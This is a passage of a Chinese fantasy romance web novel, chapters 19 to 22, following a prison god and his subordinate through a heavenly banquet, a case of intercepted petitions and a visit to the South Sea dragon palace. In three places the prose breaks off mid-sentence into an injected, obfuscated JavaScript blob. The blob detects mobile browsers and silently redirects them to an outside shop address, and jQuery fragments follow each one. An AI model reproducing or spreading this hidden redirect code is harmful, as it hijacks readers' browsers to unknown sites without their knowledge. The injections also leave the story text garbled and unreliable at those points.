风照卿尴尬地笑着,将衣角从玄武手中抽出:“玄武前辈误会了,这是狱神大人送的。” 面前二人齐齐倒吸一口凉气,心照不宣地对视了一眼:狱神大人平日不苟言笑冷若冰霜,居然知道体恤下属,给朱雀买新衣服! “看来你在下界受了不少苦啊,该不会,那三道天谴劈你身上了?”白虎忽然有些愧疚道。 风照卿正想解释,元出尘忽然出现在他们身后,居高临下面色阴沉,冷冷道:“不去宴席堵在这儿做什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052725|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄武和白虎背脊一凉,逃也似的飞奔离开。元出尘看着他们远去的背影,收起了那张不近人情的面具,垂眸盯着风照卿。他皮肤白皙,一身青衫衬得他越发清秀俊俏。 元出尘无意识地勾起了嘴角,开口声音清润温柔,全然不同于方才冷冰冰的模样:“走吧,迟了就看不到青龙跳舞了。” “你也要去?”风照卿惊讶道,听敖丰元说从前狱神五百年没出过天狱,上次是天帝谕旨不得不出,这次只是寿宴,他居然想去凑热闹。 “我安排他跳舞,自然要去看看他的表现。”元出尘傲娇道,迈着轻盈的步伐向门口走去。 风照卿轻笑一声跟了上去。 天帝陛下两千岁寿宴,三界欢庆,几乎所有在位神仙都来天界祝贺,瑶池内外挤满了人,好不容易才找到了天狱宫的位置。 烛夙忆端坐于高座之上,头戴旒冕,耳坠珍珠,一袭烟青金纹龙袍更显雍容,项上坠一枚鲜艳如血的美玉,雕刻作鲤鱼衔花的模样,一双斜飞的冷冽凤眸里难得含了几分笑意,端的是沉稳内敛。 四海龙王皆已到位,北海龙王和东海龙王坐在天帝陛下左侧,二人相谈甚欢,正举杯同庆;南海龙王与西海龙王坐在天帝陛下右侧,皆是一副不可一世目中无人的样子,正眼也不曾瞧过对方。 敖丰元坐在北海龙王身侧,头戴垂缨冠身穿银龙袍,面色红润笑容和煦,挥舞着手中的玉折扇向风照卿问好。见他今日有从前三分潇洒,风照卿稍稍放下心。 孟尚之则冲风照卿翻了个白眼,元出尘凤眸一瞪,他便缩到了南海龙王身后。 “孟尚之旁边的位置怎么空着?”风照卿问道。 还没等元出尘回答,天帝便问道:“惜之怎么没来?” 南海龙王起身回话:“回陛下,惜之先前追杀恶灵,不慎负伤,不便前来。” 天帝颔首,挥手送了一个箱子在南海龙王面前道:“说起来,自从封为储君后,本座一直没见到惜之,过些日子得了空,叫她到天界来一趟吧,本座想见见她。这些灵丹妙药有助疗伤和修炼,你带去给她,三界太平是她的责任没错,但也记得照顾好自己。” “多谢陛下挂怀!”南海龙王得意洋洋地收了药箱,看起来龙尾巴都要翘到天上去了。 “孟惜之是南海龙王幺女,天界储君。”元出尘猜到了风照卿的疑惑,轻声解释道。 “天帝陛下刚即位不久,居然已经立下储君了。”风照卿惊讶道。 元出尘抿了一口清茶道:“嗯,孟惜之天赋异禀,虽说只有八百岁,但其修为已经仅次于天帝了,天帝陛下十分欣赏她。” “原来如此。”孟惜之没来贺寿还得了一堆灵丹妙药,可见天帝对其重视程度,风照卿不禁对这个天界储君有些好奇。 众仙齐聚宴席开始,整个天界都听闻青龙狱官将为天帝献舞一曲,这无疑成了今日最受瞩目的节目,前几个表演大家看得意兴阑珊,千呼万唤才终于等到了青龙狱官。 悠扬婉转的乐曲响起,纱帐后飘出朵朵祥云,祥云之上窈窕仙女袅袅婷婷,舞姿曼妙,站在队列中心的青龙狱官穿着一件桃色纱裙,身材高大四肢僵硬,完全跟不上仙女们的拍子,周正英俊的脸此刻因羞耻而扭曲,欲哭无泪的模样惹得众仙捧腹大笑。 一曲舞毕,仙女们退至台下,独留青龙一人,他一扯腰带,飞身在半空转了个旋,桃色纱裙绽开,里头居然藏着他的官服,又施法折了桃枝为剑,在半空中舞了一套万树飞花剑法,瑶池内的桃花瓣皆被他引来,萦绕周身,整个宴会都弥漫起一阵桃香。 他的身姿轻盈飘逸,剑法刚柔并济,漫天飞舞的花瓣美不胜收,令众仙挪不开眼,最后竟以花瓣在空中书写了“安康千岁,福泽万民”八个大字。 “好!”白虎大声喝彩道。这三人平日里虽互看不顺眼,但对彼此的修为功力都是敬佩的。 元出尘亦是对他投去了赞赏的目光:“不错,倒是知道怎么给自己挽回颜面。” “真美啊……”风照卿看着漫天飞舞的花瓣,由衷赞叹道。 元出尘忽然被清茶呛到了,满是怨气地瞪了一眼风照卿:三界第一美男在你面前也不见夸过半句,倒是对这剑术不吝称赞。 20. 第 20 章 宴席迟迟结束,风照卿按照之前应允的,将捆仙索拿到瑶池仔仔细细清洗了一番,之后便去寻敖丰元,想问问天帝的事,不过聊了两句,敖丰元就发现狱神大人负手默默站在不远处的桃花树下。 “照卿,狱神大人好像在等你。”虽然狱神大人什么话也没说,甚至没朝他们这儿看过来,但敖丰元直觉他是在等风照卿。 风照卿转身看去,正巧对上元出尘抬起的目光,那眼神淡淡的,在满树桃花的映衬下却有几分柔意,让风照卿的心微微一动。 “那我先回去了,改日再去看你。”风照卿与敖丰元道了别,悠悠走到元出尘身边,说道,“久等了,走吧。” “谁等你了。”元出尘傲娇地扬起头。 风照卿无语,道:“好,那你继续赏花吧,我先走了。”话罢抬脚就走。 元出尘有些错愕地盯着他毫不留情的背影,嘴巴张了张,又在树下站了片刻,终是不甘心地跟了上去。 回到天狱,风照卿本想回去歇下,却又被元出尘叫住,他伸出手,手心青光一闪,现出了一只残破的箭矢,他正色道:“水丝的线索虽断,但有了新的发现。这是方才西海龙王带上来的灵箭碎片,我探查过,上面有敖丰元的龙血,就是伤他的那支。” 风照卿接过箭矢,虽说箭羽已被烧得几乎消失,但细看还是能能看出一星半点黑白交错的模样,他讶然道:“这是海东青的羽毛?” 元出尘赞赏地点点头:“不错。海东青乃凡界羽族中的翘楚,所有得道飞升的海东青都在飞泽殿当差,我已禀明天帝,差人时刻盯紧飞泽殿,在还未找到更多证据之前先按兵不动。” “对了,我想到一件事。”风照卿忽然说道,这几日他时常去看敖丰元,忽然想起了一些从前并未注意的细枝末节。 “什么?” “你知道丰元为何被贬到鸿雁阁吗?” 元出尘自然知道:“他弄丢了南海海灵珠。” “是的,南海的海灵珠至今下落不明,”风照卿的脸色略微沉重,“海灵珠可以存纳灵力魂魄,丰元在凡界没了龙珠,依靠姐姐给他的海灵珠才得以勉强维持人形。那就是说,就算是被剔了仙骨贬下凡界、毫无法力的罪仙,若能得到一颗灵力充沛的海灵珠,法力一样可以如从前那般,不,甚至更胜从前。而风前辈,死前被吸进了灵力。” 元出尘闻言,抬眼看着风照卿凝重的面色,轻声问道:“所以你当时问我罪仙被贬下凡后还有没有法力,是因为你已经有怀疑的人?” 风照卿不敢妄下断言,但从眼下的蛛丝马迹看来,很有可能就是他所想的人。他慎重地点了点头道:“前任飞泽殿仙官,陶岚。” 元出尘还记得这个人,因为他是风照卿押来的,还用断魂散伤了风照卿,是个狡猾的老油条。 “为何怀疑是他?” “你可还记得那夜在客栈,那个神秘人操纵的接影术,我以为自己扎中了他,但他手中有个洞。那日我与丰元在将陶岚押送至天狱的路上被他暗算,风前辈出来救场时,便是以匕首扎中了陶岚的手心,匕首上的毒将陶岚的手心腐蚀掉了。” “他又恰恰是一只海东青,”元出尘接着风照卿的推论说道,思量一番后觉得颇有道理,“若非丰元将供饼打翻,他与凡界私通一事不会露馅;若非风兮仪出手,他早就从你和丰元手中逃脱。所以,他对这二人心生怨恨,得到海灵珠的法力后,便寻机杀害他们二人。” “嗯,这正是我怀疑他的理由。”风照卿说道。 元出尘同意风照卿的想法,但这其中依然有疑点,他缓缓道:“可是风兮仪手中的水丝如何解释?海灵珠许多年前就丢失了,也许是陶岚走运捡到,但水丝出现在他身上就说不通了。” 风照卿沉默片刻,微微讶然道:“他有龙族的靠山?” 元出尘不置可否,从海灵珠这一点就不难看出这其中定有龙族参与,不过,四大龙族之间虽有小摩小擦,但数万年来也曾患难与共,没有理由同族相残。 纵使南海对敖丰元弄丢圣物一事耿耿于怀,当初也并未将他押至天狱受刑,不难看出他们并不想因为一颗珠子就置他于死地,如今又怎会放纵陶岚伤害敖丰元? “罢了,时候不早了,明日再议。”元出尘看了一眼风照卿的黑眼圈,也不知他昨夜是做什么去了。 翌日,风照卿正与元出尘一同往天狱走去准备审问罪仙,忽闻玄武焦急的声音忽然在门外响起:“朱雀,朱雀!不好啦!” 殿内二人皆是一惊,见玄武心急如焚地跑进来,风照卿连忙问道:“出什么事了?” 玄武满头大汗,甚至没空对狱神行礼,语速极快道:“南方突然飞来上千份状纸,告了数百位仙族,据说都是这数月以来积压的!” “什么?!”元出尘不可置信,凤眸凌厉,青丝微微飘动,怒道,“飞泽殿在搞什么名堂,为何会拖了几个月才上来?” 凡人常常祭拜神明以求保佑,但由于天上凡间时间相差悬殊,天界一日内便会收到极多的诉求。各宫常常因为凡界诉求过多,而发生积压的情况,飞泽殿的职责之一便是保证凡界的诉求能准时准点到达各个神殿,即使偶尔会有迟个几日的情况,但也从未有过如此离谱的前例。 玄武本来是去整理北方新飞来的状纸,结果收到一半,状纸突然像火山喷发似的从飞泽台炸出,洋洋洒洒落了满地,将整个飞泽殿都淹了一半,他吓了一跳,细细一看才发现竟是南方积压了数月的状纸。 “难怪我一直无事可做,你们三个却整日忙得焦头烂额。”风照卿面露难色:积压了数月的上千个案子,数百位仙族,抓人得抓到什么时候?伤害敖丰元和风兮仪的凶手都还没找出来呢…… “莫说你了,风兮仪出事之前也有很长一段时间没有案子可处理,他本来觉得奇怪,打算下界巡查一番,但近来鸿雁阁里南方的供品尤其多,我们便以为南方这些年人杰地灵,凡人都过得极好呢。”玄武长叹一口气,同情地看了一眼风照卿。 “别急,此事定有蹊跷,待本君向天帝禀明后再做决定。”元出尘的脸上仿佛凝了一层冰霜,眉头紧蹙,他心中隐隐有些不安,总觉得这些事情背后有着一个巨大的阴谋。 —— 飞泽殿主神官海听潮跪在天帝面前冷汗直流,哀声道:“是属下失职,请陛下责罚!” “罚,你自然是逃不掉的,同一个地方的状纸积压数月,下界罪仙为非作歹多时,忘川地府有多少冤魂是拜你所赐。”烛夙忆脸色微愠,冷言道。 李紫叶适时为她端了一杯清茶到手边。他面色温和眼眸含笑,多看一眼,烛夙忆心底的怒火随时浇熄了一半,但另一种痛意却又攀上心头。 海听潮自是愧疚不已,连连磕头,恳切道:“臣罪该万死!自知无法弥补过错,待协助狱官处理好此事,愿自请下界受轮回之苦,以告慰亡灵。” 烛夙忆扫了一眼他卑微的身影,淡淡道:“如何处置你,由狱神决断。此事刻不容缓,你速速去天狱协理捉拿罪仙一事。” “是!” 打发走李紫叶后,烛夙忆以传音铃联系了元出尘。 “弄清楚了吗?”元出尘冷冷的声音从铃铛里传来。 “嗯,原件在半路被堵截了,现在飞上来的是由人重新写好,一次性同时发上来,而且已经写明了罪仙的名单。”烛夙忆肃然道。 “怎么堵截的?” “还没查清楚,不过,这堵截之人能瞒过海听潮这么久,法力想来十分高强。”烛夙忆面色凝重,眉头紧蹙道,“本座已命海听潮去协助抓捕,若人手不够,可以调用几位天将。” 元出尘脸色十分难看,胸腔内一股火不知该往何处撒:“岂有此理!天狱的状纸也敢截!” “本座之意,既然那人已经写清了罪仙名单,你们也就不需要一一查案,只剩抓捕的事情了,这些交由海听潮和天将去做即可。你与朱雀狱官悄悄去趟凡界南方,把从前堵截状纸和如今重新编写的人揪出来。” 元出尘不可置信道:“你这是什么意思?又要本君去凡界?” “嗯。” 元出尘直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052726|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将传音铃一脚踩碎,但烛夙忆的声音还是从碎片残骸里传了过来:“你有水丝护体,又有风照卿保护,还有狱神的不死金身,有什么可怕的。” “笑话!我怎么会怕?”元出尘不可一世道,“只是,从前比这更要紧的案子也有过,你也从来不会让我亲自去办,这次怎么三番两次地要我下界?” 烛夙忆默了会儿,并未解释,只是高深莫测道:“你日后会知道的。” “……” 元出尘心里有气,怎么也想不通烛夙忆的用意,但传音铃已经没有回应了。 罢了,反正有照卿…… 本来想到风照卿他是欢喜的,可一想到那些莫名其妙钻出来的熟悉感他就不知该以何种心情面对风照卿。 他可以肯定自己喜欢风照卿,第一眼就喜欢。可是他模糊地记得自己害死了一个少年,而他来到此处画地为牢就是为了偿还自己的罪孽,区区五百年难道就抵得过一条人命吗?他若是在此处和别人谈情说爱,那这还算哪门子的惩罚? 元出尘长叹一声,被这矛盾的心情搞得头疼欲裂,单手撑着额头正想阖眼休息,海听潮却到了。 “参见狱神大人。” 元出尘无可奈何地睁开眼睛,道:“免礼。天帝陛下已与我说明了一切,这里是所有罪仙的名单,你立刻点几位天将去将他们捉拿归案,不得有误。” 海听潮不敢有半分延误,急匆匆离开,元出尘静坐了会儿,终于决定去找风照卿。 他正在案牍堆砌的山丘中穿行,忙得晕头转向,元出尘站在门口看着他,眉间那股郁色就散了。 他轻咳一声,但风照卿却置若罔闻,于是又做作地轻咳两声:“咳咳!” “有话直说。”风照卿头也不抬说道,他实在没工夫陪元出尘猜谜语。 元出尘走过去,摁住忙成一团残影的风照卿,说道:“你别做了。” “什么?”风照卿微微一愣,急道,“此事是状纸未能及时送达才会变成这幅局面,并非是我懒惰散漫,怎么能就这样赶我走呢?!” 元出尘闻言一怔,眼底忽然浮现了一淡淡的笑意,问道:“不想走?” 风照卿不甘的眼神里还夹杂着几分委屈,用力地点了点头:我还没找你算账呢,怎么能就这样离开? “为何?”元出尘有些期待地盯着风照卿的眼睛,希望能从里面看到一些与自己有关的东西。 “我之前不是说过了,惩奸除恶是我心之所向。”风照卿撒谎不带脸红。 “没了?”元出尘略有些失望。 “还能有什么?”风照卿没好气地反问道。 元出尘轻叹一声,装出一副无可奈何的样子说道:“既然你如此有心,那本君便给你一次机会,同我下界去调查此事的幕后黑手。” “又下界?”风照卿惊讶道:哪个狱神像你一样三天两头在外面跑啊,你是真不怕死! 见元出尘不置可否地点点头,风照卿便放下手中的案牍要往归尘台赶去:“既然如此,那么事不宜迟,我们赶紧出发吧。” “慢着!”元出尘见他火急火燎的样子,看了一眼他身上绛红的官服,道,“衣服呢?换上。” 都这种时候了,还有心情管我的衣服……风照卿无语地翻了个白眼,一打响指,身上的绛色官服便换作一套青衫,其上还有若有似无的莲香,“这样总行了吧?” 刚迈出脚,元出尘清润的声音又在身后响起了:“不行。” 风照卿不耐地瞪着他,但想到这一身衣衫是他给自己添置的,语气还是柔和了些道:“还有何事?” 元出尘不说话,上前拉住风照卿的手腕,带着他往后院走去:“从沧海涯下去。” “这,这不算私自下界吗?”风照卿震惊道,狱神带头违背天规? “天帝命我们秘密下界查案,怎么能算私自下界?如此,也省得那只鲤鱼精问东问西。”元出尘理所当然道,拉着风照卿走得非常自然。 风照卿尝试了几次也未能挣脱便放弃了,谁叫天狱全由他做主呢? 21. 第 21 章 此次下界不知得待多久,元出尘特意交代了三位狱官,他不在时无论何事,都先将罪仙收押,不得用刑,他可不想再以凡胎□□受一次天谴。 沧海涯离南方还有段路程,风照卿隐了二人身形驾着祥云漫无目的地飞着,问道:“一点线索都没有,我们下去大海捞针吗?” 元出尘正盘腿安神,闻言掀开了眼皮看了风照卿一眼,淡淡道:“你不觉得此事很蹊跷吗?” 风照卿思忖片刻,明白了元出尘所指:陶岚曾是飞泽殿仙官,而如今出事的正是飞泽殿。 “虽然还不清楚他究竟想做什么,但若之前的事确实是他做的,那么这次多半也与他脱不开干系。既然是南海丢失了海灵珠,那就先去南海附近看看。” 离南海最近的镇子名为扶桑镇,据说是这一带最繁华的镇子,楼阁高筑商铺林立,叫人应接不暇,街道两旁种满了扶桑花,阳光透过红艳艳的花朵在往来百姓身上洒下一片斑驳,他们各个衣着华贵,肤白貌美弱柳扶风,娇花美人相互映衬,看着十分赏心悦目。 风照卿给自己换了副容貌,又变了顶帷帽给元出尘戴上,这才走进扶桑镇。 镇子里街道排列有序,规划整齐,两侧楼阁也十分讲究,基本是对称分布。镇民们似乎十分信奉龙神,镇中心每隔几步便有一座龙神庙,里头供奉的皆是一位身形娇小稚气未脱的小龙女。她海藻般浓密的红发上坠着许多珍珠,白净小巧的瓜子脸上一双杏眼清澈明亮,笑容如同她鬓边绽放的扶桑花般热烈灿烂,让人见了心生喜爱。 风照卿好奇地盯着神像看,心中不解为何这些百姓会供奉一个小女孩。 似乎是看穿了风照卿的疑惑,元出尘解释道:“她就是储君孟惜之。” “什么?”风照卿震惊道,光看神像,他以为这位小龙女只是个孩童,没想到竟已经是个修为足以傲视群雄的神君了。 元出尘轻笑一声,心里清楚他为何惊讶,道:“有得必有失。她的修为大概是拿个子换的,年纪和你不差多少,却还是个小女孩的模样。” “年纪轻轻,已是储君了,日后必将大有作为。”风照卿不禁感叹道。 元出尘认可地点点头:“南海龙族出了这么一位旷世奇才,比从前更加嚣张跋扈,不把其他人放在眼里,那日孟尚之和他的属下敢对敖丰元出言不逊,也是仗着自己的妹妹是储君。” “原来如此,”风照卿想起孟尚之的嘴脸,问道,“孟惜之也如此跋扈吗?” “龙族尚武,但储君之位也得论德行。大约是歹竹出好笋,孟惜之与南海龙族截然相反,为人谦逊有礼,虽修为过人,却不恃才傲物,爱民如子克己奉公,是个难得的人才。”元出尘说道。 风照卿望着一身红衣珠翠,笑容天真烂漫的神像,忽然觉得有几分熟悉,却又说不上来。 “不过,再怎么信仰,一个镇子里有一座庙不就够了吗?为何要盖这么多?”风照卿看着周围的龙神庙不解道。 忽然一朵扶桑花从枝头落下,悠悠停在风照卿肩头。 他正想拿下喝口花汁,旁边一个面色苍白的老伯见了,忽然两眼放光,惊喜道:“扶桑落肩头,这可是福兆啊!这位公子快快将这朵扶桑花拿去供奉给龙女娘娘,她会保佑你的!”见风照卿疑惑不解的眼神,他又解释道,“龙女娘娘最喜欢扶桑花了,所以镇子里种满了扶桑花,我们每日都带着各种供品和扶桑花来供奉龙女娘娘,就是希望龙女娘娘能常来镇子赏花,庇佑我们太平安康。” 帷帽下的元出尘心头有一丝狐疑浮起,看着孟惜之神像下堆满的供品,问道:“每日供奉?” “是啊!”老伯笑道。 南海龙族是红龙,喜欢红花倒也不足为奇,风照卿并未多想,依着老伯的意思将花供奉给孟惜之的神像,转身时却无人注意到神像的眼睛闪过一丝红光。 “对了,老伯,这些年你们这儿有发生什么奇怪的事吗?”风照卿微笑着问道。 “没有啊!我们有龙女娘娘庇佑,什么牛鬼蛇神都不敢靠近的!而且龙女娘娘自己是个孩子,也格外喜欢孩子,所以我们这镇子的人越来越多,越来越繁华,已经有上万人了!”老伯笑眯眯地说道,“你们也是刚搬来的吧?放心住下吧!” 上万人的镇子属实庞大,几乎抵得上一个边陲小国了。风照卿谢过老伯,与元出尘暂寻了家客栈落脚。 此处连屋内都摆满了红艳艳的扶桑花,叫风照卿看得眼睛都有些疼。 “这里的扶桑花未免太多了些。”风照卿揉了揉眼睛,无奈道。 “扶桑花在凡界寓意并不好,许多凡人忌讳此物音同‘服丧’,是决不允许自家院内栽种的,这里却是随处可见。”元出尘饮了口清茶,也觉得有些不对劲。 “不过,那位老伯不是说了吗?因为孟惜之喜欢。” “她,为什么会如此喜欢扶桑花?”元出尘喃喃自语道。 “嗯?”风照卿没听清元出尘的小声嘀咕。 元出尘回过神,含糊道:“没什么。” 风照卿并未多想,看着楼下人来人往,忽然感叹道:“这里的百姓皮肤都好白啊,明明是最炎热的地方,皮肤却很白皙。” 元出尘闻言,也往窗外看了一眼,想起方才在街上时胭脂铺前的人是最多的,说道:“擦了粉吧。” 风照卿点点头,回想起方才那位老伯苍白的面色,心头还是有几分疑虑。 忽然,一道红光自窗外落入屋内,风照卿警觉地拔剑挡在元出尘面前,轻喝道:“来者何人?” 一群身穿轻甲的虾兵蟹将站在狭小的屋子里,为首的仙官上前一步,恭敬行礼道:“参见狱神大人,朱雀狱官。小仙是南海龙将军李由,特奉龙王之命,请二位到龙宫一游。” 风照卿与元出尘对视一眼,虽未开口,但已明白对方心中所想:龙王怎么知道他们来了扶桑镇?又有何事要与他们二人相叙? 虽说公务在身,但龙王的面子也不好驳,二人便随他去了南海龙宫。 不同于北海的冰天雪地,南海终年炎热,海中水族皆生得绮丽多姿,聚在一起随波游动,看得人眼花缭乱,海藻轻舞珊瑚缤纷,阳光透过清澈的海水洒在龙宫的琉璃瓦上,折射出耀眼的光彩,辉煌壮丽的龙宫仿佛置身于天虹之上。 龙王已在殿内等候多时,高坐在龙椅上,端的是盛气凌人,不可一世。 坐在龙王下方的正是孟惜之,她精致俏丽的小脸苍白无色,右臂负伤,缠着厚厚的纱布,唯一露出的右手已现了原形,龙爪几乎被扒了一层皮,皮绽肉翻,着实触目惊心,也难怪她没去参加天帝寿宴了。 尽管身受重伤,孟惜之也未失礼数,正欲起身行礼,可目光一撞上风照卿便不由得愣了神,多看了几眼,才声音虚浮道:“见过狱神大人,朱雀狱官。” 风照卿心中有些疑惑,但还是礼貌回了礼。 “殿下不必客气。不知是什么厉害的妖怪,竟能将您伤得这么重。”元出尘看到她的龙爪不禁眉头紧蹙。 孟惜之无奈一笑:“不是什么厉害妖怪,是惜之一时轻敌被暗算了……只要能除掉为祸人间的妖孽,这点伤算不得什么。” 风照卿对她报以一个微笑,这位储君果然如他所想的那般无私,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052727|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀天下。 “本王此次请狱神来,便是希望你能为小女疗伤。”龙王居高临下地望着狱神,话语里丝毫没有客气的意味。 风照卿闻言,心底冷笑一声:派了一群兵将,当真的是“请”吗? 但当他抬头对上孟惜之略带歉意的一笑,那点怒气也消散了。她长了一张稚气可爱的脸,很难让人对她生气。 元出尘倒是一副习以为常的模样,他对这几位龙王的脾气了如指掌,来的时候便已经猜到缘由,只是还不清楚他怎么会知道自己的行踪。 他动作轻柔地为孟惜之拆开纱布,纱布之下的伤比他想象得还严重些,血肉模糊,多处溃烂,虽已用了天帝赐予的丹药,但伤势依旧严重。 “这是被幽冥鬼火所伤,殿下去过忘川地府?”元出尘一边问道,一边帮孟惜之将腐肉剔除。 “是,地府有只厉鬼时常趁着百鬼夜行游窜在人间久久不愿离去,吸食凡人精气,我已追踪她多时,可她十分狡猾,每次都让她逃回去了。” 厉鬼若不除去身上的煞气便不能进入轮回,可她若一直游窜在人间吸□□气,只会让身上的煞气愈重,最后堕入无尽炼狱。 “阴差也抓不到吗?”风照卿问出口后便后悔了,天界储君都抓不住,更何况阴差。 孟惜之摇了摇头轻叹道:“厉鬼失了智,否则我相信她也一定不会做这种损人不利己的事,我一直想去地府看看她生前有何遗憾,若能替她了了生前心愿,或许对她也有帮助,只可惜地府只允许往生者进入。” 风照卿闻言,对孟惜之肃然起敬:“殿下日理万机,却也愿花时间去渡化一只厉鬼,实在是让照卿由衷钦佩,有您这般心怀天下爱民如子的储君,是天下之幸事。” 孟惜之浅浅一笑,眼底的平和温柔倒是与她稚气的模样十分不符:“不管是一个人也好,一只鬼也罢,甚至是渺小的草木蝼蚁,都是众生一员,岂能因微小而放弃?我既为储君,自当守护天下苍生,这些都是分内之事,不过是恪尽职守罢了。” 元出尘抬眼看了一下孟惜之,居然对她露出了一抹淡淡的微笑:“你与天帝年轻时很像。” “当真?!”孟惜之闻言,突然两眼放光问道,右臂因为激动牵动了一下,一块好肉也被元出尘失手剔了下来,她却一点也顾不上疼,只是满眼期待地望着元出尘。 元出尘被她这突如其来的兴奋微微惊到,讷讷地点了点头。 孟惜之有些羞郝地低下头,惭愧道:“抱歉,一时心急失礼了……天帝陛下是惜之最崇敬的人,能与她相像实乃惜之三生有幸。” 孟惜之确实与风照卿印象中的烛夙忆如出一辙,当初天魔大战时,她坚决反对青鸾天帝以雀仙族为诱饵引魔族落入陷阱的计划,不畏强权与青鸾天帝据理力争时,说的便是“岂能因其微小而弃之?” 只可惜雀仙族还是被薄情寡义的青鸾天帝放弃,风照卿的阿娘也丧生在那场战役之中。 忽然,风照卿想起了他见到孟惜之神像时那股熟悉的感觉时从何而来了:孟惜之与烛夙忆鬓边都喜欢别着一朵扶桑花。 看来她真的很崇敬烛夙忆,言行举止都在向她看齐。 元出尘重新为孟惜之将伤口包扎好,并留下了许多亲制的丹药以助她恢复,便准备离开。 孟惜之却挽留道:“天色已晚,狱神大人与朱雀狱官何不在龙宫歇下,若有公务明日再查也不急。” 元出尘看了风照卿一眼,想到他应该还从未来过南海游玩,便应下了:“那好吧,有劳殿下了。” “不必客气。”孟惜之笑眼弯弯,真真是人见人爱。 22. 第 22 章 夕阳西下,海水如鎏金绸缎一般将四周包裹,闲庭信步于这温暖无垠的暮色中,风照卿的心情也渐渐轻松下来,一时忘却了查案的事情。 “走吧,我带你逛逛南海,”元出尘忽然说道,领着风照卿往龙宫外走去,“南海景色是四海中最美最绮丽的,民风奔放,热情自由,许多仙人得了空便喜欢到这儿来游玩。” “嗯……”风照卿低低应了一声:我知道,从前你带我来过。 “这是海葵,生的像花却是吃鱼的。”元出尘修长的手指指着一只柔软灵动、色彩斑斓的海葵说道。 风照卿勾起唇角,伸手点了一下海葵的触手,一只小丑鱼忽然钻了出来,吓了他一跳,赶紧把手抽回。 元出尘轻笑出声,隔着衣服拉住风照卿的手腕,弯下腰凑到他耳边低声说道:“小心点。” 风照卿被他这突如其来的亲密惹得耳根通红,面上发烫,下意识拔腿想逃,手腕上却忽然传来一股力量将他向后拉,他一时没站稳跌进了元出尘怀里。 风照卿刚一碰到那熟悉的温度,便匆忙挣脱了他的怀抱,不满地瞪着他问道:“你拽我做什么?” “怕你跑丢了,南海很大的,可不好找。”元出尘眼底带着浅浅的笑意。 “哦,那你说一声就好了,别拉我。”风照卿闷闷地应道。 闲话散步间,夜色渐浓,四周的夜明珠像星星一般闪着微光,头顶的海面上晕开了一轮皎洁明亮的圆月,在海底看上去像个白色漩涡一般,在二人身上投下了淡淡的珠光色,给幽暗的环境更添了几分暧昧的气氛。 风照卿悄悄抬起头看了一眼元出尘,他嘴角带着淡淡的微笑,清冷的面庞多了三分柔色,更显俊美,风照卿不禁心跳加快,喉头微动,找他算账什么的通通忘光了。 “我以为你不会想在南海逗留。”风照卿试图转移自己的注意力,随便找了个话题。 “狱官事务繁忙,鲜少得空,难得来一趟,你不想逛逛吗?”元出尘说道。他对游玩不感兴趣,确实希望能尽早查出幕后黑手,尽早回天狱,但是风照卿难得有一趟,不带他逛逛实在可惜。 风照卿很了解元出尘,他向来不是个爱出门爱热闹的人,从前是为了打开风照卿的心结,所以日日带着他到处游玩,如今也是为了风照卿,所以在南海多留了一夜。 心底一时有些复杂,风照卿对元出尘的这般体贴自是欢喜的,但每每遇到这样甜蜜的时候,他又总忍不住想到上一世的结局,一颗心即使之前再欢喜也会重新重重地沉下去。他轻咳一声道:“难得狱神大人知道体恤下属。” 元出尘眉头微蹙:“为何突然唤我‘狱神大人’?” “青龙狱官说了,不得对狱神大人无礼。”风照卿学着他的样子挑眉道。 “……”看来罚青龙跳舞还是罚轻了,“你可以叫我的名字。” “这怎么能行,不敬上神是要受雷鞭的。”风照卿忽然起了玩心,想到他上一世总喜欢“三殿下三殿下”地叫自己,他忽然也想逗逗元出尘。 “我不会对你用刑的……”就算你真违反了天条,哪一次我不是以“初犯”为由,给你减轻惩罚? 当狱神的这几百年,元出尘向来自信自己刚正不阿铁面无私,可一面对风照卿,他就忍不住一而再再而三地为他打破原则。 “多谢狱神大人。” “不许叫了!”元出尘佯装微怒道。 “好好好,不叫了。”风照卿见他生气的模样,终于满意地露出了一丝笑容。 元出尘见状,忽然有些出神,风照卿此刻眉宇间郁色不再,笑颜恣意随性,与梦里那位青鸾神君的模样重叠在一起,都是那样神采飞扬。 他忍不住想伸手抚上风照卿的脸,可快要碰到时又猛然收回,声音里竟带了些许委屈:“这还是你第一次对我笑。” 元出尘眼底的柔情让风照卿怔忡在原地不知所措:他居然会在意这个? 两个人面对面却各怀鬼胎,都想向前迈一步,可过往的回忆却像荆棘一样铺在前路,只要踏上去就会鲜血淋漓。 “你们是什么人?”一位巡夜的将军注意到他们俩,过来打破了这安静微妙的气氛, “我们是天界的狱官,来此办案。”风照卿给他看自己的令牌。 “原来如此。夜深了,二位早些回去休息,明日再查案吧。” 